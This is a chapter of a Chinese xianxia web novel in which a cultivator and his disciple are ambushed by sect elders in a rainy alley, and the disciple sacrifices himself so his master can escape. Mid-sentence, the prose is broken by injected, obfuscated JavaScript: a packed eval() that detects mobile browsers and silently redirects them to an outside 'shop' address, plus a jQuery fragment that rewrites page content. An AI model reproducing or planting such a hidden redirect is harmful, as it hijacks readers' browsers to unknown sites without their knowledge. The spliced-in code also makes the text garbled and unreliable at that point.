28. 暗巷断局
作品:《修为尽失后爱徒抓我当炉鼎?》 沈泉照一时无话。
他再抬眼看向谢沉时,眼眶竟已微微泛红,连声音都变得沙哑:“我当然生气。”
这一句话出口,谢沉本就苍白的脸色再没了一丝血色。他看着沈泉照,眼角不知何时也红了一片:“我明白。”
他仿佛早料到了沈泉照会这样回答,自顾自把话说下去:“我做了那么多错事……”
他的喉结滚动,像是用尽了全身的力气,哽咽道:“如今的我,早已不配再叫你一声——”
话说到一半,沈泉照忽然伸手,将谢沉牢牢搂进了怀里。
他那一瞬的力道很大,好似要将人嵌进自己的胸腔里。
谢沉的金眸微微睁大了,额头轻轻抵在沈泉照的肩上,整个人就这么僵在了原地。
沈泉照节骨分明的手扣在谢沉的背上,手背因发力而青筋暴起,他几乎是咬牙切齿道:“我并没有生你的气。”
他蹙着眉头,几乎是从胸腔里挤出来句子:
“我只是气我自己——这些年你误入天衡宗,因此受了那么多的苦,那么多委屈,而我当年,竟然一点没能察觉其中的蹊跷!”
谢沉一怔。滂沱的雨声在这一刻仿佛彻底远去,天地间只剩下两人贴近的呼吸与心跳。
他张了张口,疑心刚才听到的答复只是他的错觉,他中噬心咒后产生的幻念,轻声问:“你不恨我吗?”
沈泉照短暂地滞了一瞬,随即低头将谢沉抱得更紧,似乎想用这一个动作代替他心中的万语千言:
“我怎么可能恨你。”
他的声音带着压抑已久的痛意:“这些年,你一人外在扛着那些折磨,被人利用,却连向我求救的机会都没有。”
沈泉照闭了闭眼,像是在压下翻涌的情绪:“你让我如何去恨你?”
雨水顺着他俊秀的脸庞淌下,沈泉照深吸了口气,接着松开了手,从乾坤袋中取出一枚药丸,塞进谢沉的掌心:
“我恨的,是把你变成现在这样的人。”
谢沉低头看着那枚药丸,似乎还想说点什么。沈泉照心知一别经年,谢沉必定也有许多话想对自己说,但他方才也是一时心切,其实眼下并非叙旧的时机。
于是抬手,轻轻按住了他的肩:“好了。现在最重要的,是我们先活着出去。”
谢沉喉结滚动了一下,终究再未多言,只仰头将药丸干吞了下去。
清霄宗作为当世第一大宗,丹药的功力自不必多言,药力入口后很快在体内化开,一股暖意顺着经脉流向五脏六腑,暂时压下了噬心咒发作时所带来的剧痛。
沈泉照看他面色稍霁,却不敢掉以轻心,知道这样抑制毒痛的丹药,最终也只是治标不治本。
谢沉却似乎重燃起了些许信心,眼中重新有了些光彩:“我之前执行任务时,知道一条通往外界的地道。虽然不确定如今还能不能用,但我们或许可以去看看。”
“走。”沈泉照应得毫不犹豫。
两人沿狭窄的巷道一路疾行,雨水流顺着屋檐倾泻而下,天昏地暗。
沈泉照抬起头来,即便在这样的大雨之中,天衡宗上空的护宗大阵依旧清晰可见,如同一张笼罩山川的巨网,流转着莹莹光芒。
沈泉照忽问:“你可知,这护宗大阵的灵力,是由谁在供给?”
谢沉略一思索,随即答道:“天衡宗宗主闭关已久,不理俗务数十载。门中四位长老,一来各司其职,二来修为与我差距不算太大,应当无力维持这般阵法。
如此想来,只能是右护法,荀飞梁。”
“师尊为何忽问起这个?”谢沉问。
沈泉照尚未来得及回答,前方巷道尽头,忽然亮起了一点晃动的灯光。
两人立刻停了脚步,对视一眼,闪身躲进了一旁的暗巷之中。
不多时,一堆队伍从巷口经过,原来只是又一队巡夜的外门弟子。
深夜加上暴雨,这些年轻弟子个个神情倦怠,哪里愿意认真细查,不过提着灯笼草草走过主道,便朝另一条路去了。
沈泉照背靠着墙,放出一缕神识感应,确认了那群少年已经走远,转头示意谢沉离开。
因这处暗巷原是个死胡同,两人正打算原路退出去,忽然一阵强烈的灵压直从巷口袭来。
沈泉照心头猛地一跳,他认得这股灵力的主人。
就听一道清冷的声音传来:“你们果然在这里。”
正是先前跟他们在废祠堂里交过手的紫裙盲女,洛槐优。
而这一次,她身后还跟了另外二人。
在她左侧的,是一名头戴斗笠的老者,脊背微驼,双手拢在袖中,周身灵力却如千尺深潭。正是天衡宗资历最老的长老,岳沉璧。
而右侧的,则是一位女扮男装的“公子”,裴折风。她青衣玉带,手中撑着一把红色的油纸伞,唇角带着一丝若有若无的笑意。
如此一来,天衡宗除司流舟外的所有长老,已齐至此地。
三位长老恐有埋伏,并未贸然踏入这暗巷。
裴折风上前一步,远远望见巷内的谢沉,唇边的笑意收了:“右护法有令,活捉谢沉。若有拦者,格杀勿论。”
她话音未落,沈泉照手中霁光已然出鞘,他提剑迎了上去,头也不回朝谢沉抛下一句:“你退后。”
蒙着眼纱的洛槐优指尖微抬,漫天雨水骤然凝滞在了半空。
下一刻,悬停的雨珠化为了无数细如牛毛的冰针,寒光森然,当头朝沈泉照和谢沉的方位袭去!
沈泉照手腕一翻,霁光剑划出一道圆如满月般的长弧。
银白剑气荡开,所过之处,冰针尽数崩解,重新化为雨水,哗然落地。
然而不等他这一剑收势,一道雄浑掌风已从身侧逼至。
岳沉璧这一掌,看似缓慢,却势如山岳,穿雨而来,发出低沉的轰鸣。
沈泉照反手提剑格挡,剑刃与掌风相交,“咔”一声,脚下青石应声碎裂。他眼见不妙,立刻卸力抽剑,飞身朝后退去。
几乎是同一时刻,迎面一道寒光乍现。
裴折风手中长伞已然化作一柄弯刀,刀锋横扫而来,沈泉照猛地下腰后仰,擦着刀面堪堪避过这一击。
他凌空一个跨步旋身,忽然一阵婉转呜咽的笛声响起,曲调悠扬,却带起一阵寒风刺骨。
地面的雨水瞬间冻结,化为带毒的冰凌,猛然破土而出,直朝沈泉照刺去!
谢沉在巷尾的阴影中,眼睁睁看着眼前发生的一切,指节早已攥得发白。
三位长老出手间,彼此的灵力互相牵引,进退间隐隐已成结成阵势,像是张正在徐徐收紧的捕妖网,要将沈泉照彻底困死其中。
这将是一场围杀之局。
谢沉紧咬牙关,恨不得上前以身代之,然而一催动体内的灵力,噬心咒便似豺狼虎豹般啃噬着他的心脉,反逼得他自己咯出一口血水来。
前方巷口,沈泉照以一敌三,气息已乱。
他一脚点墙,飞身避开岳沉璧凌厉的掌风,激起檐上水花四溅,眼前却又是寒光一闪,裴折风的弯刀走偏锋,从方刺来,沈泉照凌空侧翻,在掌风与刀光间堪堪闪避。
突然,耳侧一股痛意袭来,带来一股微微的热意。
他的左耳被刀锋割破,鲜血染红了半只耳朵,随雨水一道落到肩头,晕开一片桃花般的绯色。
谢沉的心头猛地一沉,握拳的双手止不住地颤抖,那一刻,他脑中只剩下一个念头——
不能再这样下去了。
再拖下去,沈泉照非但带不走他,连自身都难保,甚至可能殒命于此。
他已经让师尊为自己付出了太多太多,多到他此生恐怕都难以偿还,绝不能允许这样的事发生。
这一刻,仿佛应了他不祥的预感一般,洛槐优的笛声一转,淬毒的冰凌骤然刺入了沈泉照的小腿。
沈泉照闷哼一声,毒素麻痹了他的小腿,登时连退了两步。
三名天衡宗长老重聚于巷口,一时没再急着进攻,脚下步法变化,原本还略有些松散的阵型,在此地倏地收拢。
沈泉照的体力已略有不支,全神贯注留心着这三人的动作,然而就在这一瞬,他的身后突然传来了异动。
一道极轻、极快的灵力,冷不防从背后袭来。沈泉照才要回头,却惊觉全身竟已无法动作!
是定身术。
这个巷子是个死胡同,他的后方本只有谢沉一人,因此先前才没有设防,沈泉照一时心如擂鼓,转动眼珠,果见谢沉走上前来,脱口道:“你——”
此前没有灵力隔绝,谢沉的衣发已尽数为雨水湿透,显得有些狼狈。
他的目光出奇地平静,可金眸深处又仿佛流露出一丝不为人知的悲伤。
“别担心。”谢沉的声音很轻,“很快就会解开的。”
沈泉照的瞳孔剧烈收缩,用力想要挣脱束缚,身体却纹丝不动。
谢沉看着沈泉照,他希望自己能这样一直看着心爱的师尊,可是不行。
于是他决绝地收回了视线,心中纵有千言万语,最终只留下一句:
“师尊……对不起。”
而后头也不回地朝巷口三位长老的方向,独自走去。
谢沉心想,他自幼失去父母亲人,一条烂命,故不足惜,可若能凭着他一命,换来沈泉照的生机,此生或许也就有了价值。
至于来生……
他没有再想下去。
为首的洛槐优察觉到谢沉的气息靠近,将唇边的玉笛放了下来,笛身掠过一道冷光:“右护法有令,将你带回议事厅,听从发落。若你肯自行投降,我们也可以考虑,放过你的朋友。”
“他不是我的朋友。”谢沉道。
洛槐优有些疑惑,就听谢沉一字一顿道:“他是我的师尊。”
“荒唐!”裴折风手中的弯刀一甩,震落一地水珠,喝道,“就算是叛徒,你也尚是天衡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078971|195299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宗的弟子,说什么胡话!”
岳沉璧抬手支起斗笠,露出白眉下方一双锐利的鹰眼,他向来惜才,仍想再劝:“谢沉,老朽知你天资不俗,可修行年岁终究尚浅,并非我三人的对手。你若愿意归降,我等自然也不愿同门相残。”
谢沉看着巷口的三位长老,一双金眸在雨中闪烁着亮光:
“多说无益。动手吧。”
说罢身侧留光剑陡然出鞘。
三名长老见他这般决绝,便再未多言,同时出手,三股不同的灵力登时朝谢沉袭去。
谢沉顶着噬心咒强行催动灵力,紫黑色的经脉自喉侧暴起,如同活物般沿着颈项朝心房蜿蜒而下,心口当即一阵剧痛。
他双手持剑,好似对那剜心之痛根本无所觉一般,剑锋上金色剑气骤起。
漫天雨幕被他以剑气牵引,于空中骤然转向,凝成一条腾飞的水龙,呼啸着震碎了迎面袭来的冰凌与掌风。
碎裂的冰针落地便化而为水,在青石地面上腐蚀出一圈圈凹痕。
三位长老无声地交换了眼色:他们此行接到的任务,乃是活捉谢沉。是以不可留下致命之伤,不过攻其四肢,以断其行动却是无妨。
下一刻,几人的攻势倏而变换:岳沉璧的掌风转向谢沉肩膀,裴折风的弯刀直斩其臂弯,洛槐优的冰针专刺向四肢经络要穴。
谢沉硬着头皮招架着三人的合攻,他的呼吸已彻底乱了。
他早已顾不得身体能否承受,甚至不再调整呼吸节奏,只凭一口气强行提起体内每一份尚可挑动的灵力挥剑。
四周忽传来嘈杂而密集的脚步声,是更多天衡宗弟子正在朝这头赶来。
暗巷的阴影中,被谢沉施了定身术的沈泉照僵立在原地,只能睁大眼睛,看着谢沉背对着他,一次又一次挡下几位长老的攻击。
沈泉照眼见谢沉的肩头、腿侧被刀锋擦过,看着谢沉粗喘着踉跄半步,又强行站稳。
他虽看不到谢沉运气后,噬心咒发作的模样,却能想象,那会是怎样刻骨铭心的痛。
这一刻,沈泉照忽然明白了,谢沉这么做,与其说为他战斗,倒不如说是在赴死——
谢沉想要以此,来向他赎往昔之罪。
意识到这一点的瞬间,沈泉照只觉心口一阵剧痛,几乎要将牙关咬碎。
潇潇雨幕之中,谢沉仍在挥剑。
而每出一次剑,噬心咒便在他体内更嚣张一分,毒素顺着经脉传至各处,五脏六腑如被烈火灼烧,可他却丝毫没有心生退意。
又一剑抵挡岳沉璧的掌风后,谢沉的身形终于再难站稳,似是毒已攻心。
一个踉跄后,他错步靠到一边的砖墙上,猛地弯下腰,剧烈咳嗽起来。
大口的黑血从他嘴里喷出,污血顺着嘴角淌下,又被大雨冲淡,汇入脚下的水洼之中。
沈泉照见这一幕,如遭雷击。
他体内的灵力在这一刻猛然逆冲,定身术的束缚被生生撕开了一角,怒吼道:
“谢沉!你以为你是谁?!”
谢沉握剑的手猛地一僵。
沈泉照的声音因盛怒而嘶哑不堪:“你凭什么替我做决定!”
这一声咆哮好像砸在谢沉心头,他缓缓回过头来。
雨水顺着他的发梢滴落,他金色的眸子里闪过一丝动摇,手中的留光剑尖微微颤抖。
也正因这一回头,谢沉没有注意到,身后的三名长老,竟在此刻不约而同地收了手中的兵器。
四下一时只剩雨声。
沈泉照心头猛地一沉,朝谢沉大喊:“小心!”
谢沉忽觉一股刺骨的阴寒骤然自背后袭来。他猛然转回身去,但见荀飞梁如鬼魅般现身此间。
谢沉的瞳孔骤缩,眼里血丝密布:“你——”
荀飞梁没有给他丝毫反应的机会,掌间灵力骤然凝聚成刃,白光一闪,毫不犹豫地伸手直刺谢沉的下腹!
“噗——”鲜血喷涌而出。
谢沉整个人被这股力道生生掀翻,重重砸在积水的地面上,水花四溅。
他下腹和嘴里都在流血,全身上下没有一处不在发痛。
可即便如此,他仍拼尽最后一丝力气,艰难地转动眼珠,朝着巷子深处望去。
谢沉的视线已经开始涣散,世界在雨声中摇晃,他依稀看到沈泉照那抹熟悉的身影,唇动了动:“……快……跑。”
这一刻,沈泉照身上的定身术,彻底崩解。
他本能地想要喊出谢沉的名字,却不想辜负谢沉一番苦心,抬手死死捂住自己的嘴,强迫自己不发出一点声音。
接着,他纵身一跃,上了侧旁的屋脊,身影转瞬便没入了雨雾之中。
那模样就像是真的落荒而逃。
而倒在雨水中的谢沉,余光看见那道他心心念念的身影在巷中彻底消失不见。
终于,他缓缓地笑了,带着释然:
“……师尊,永别了。”

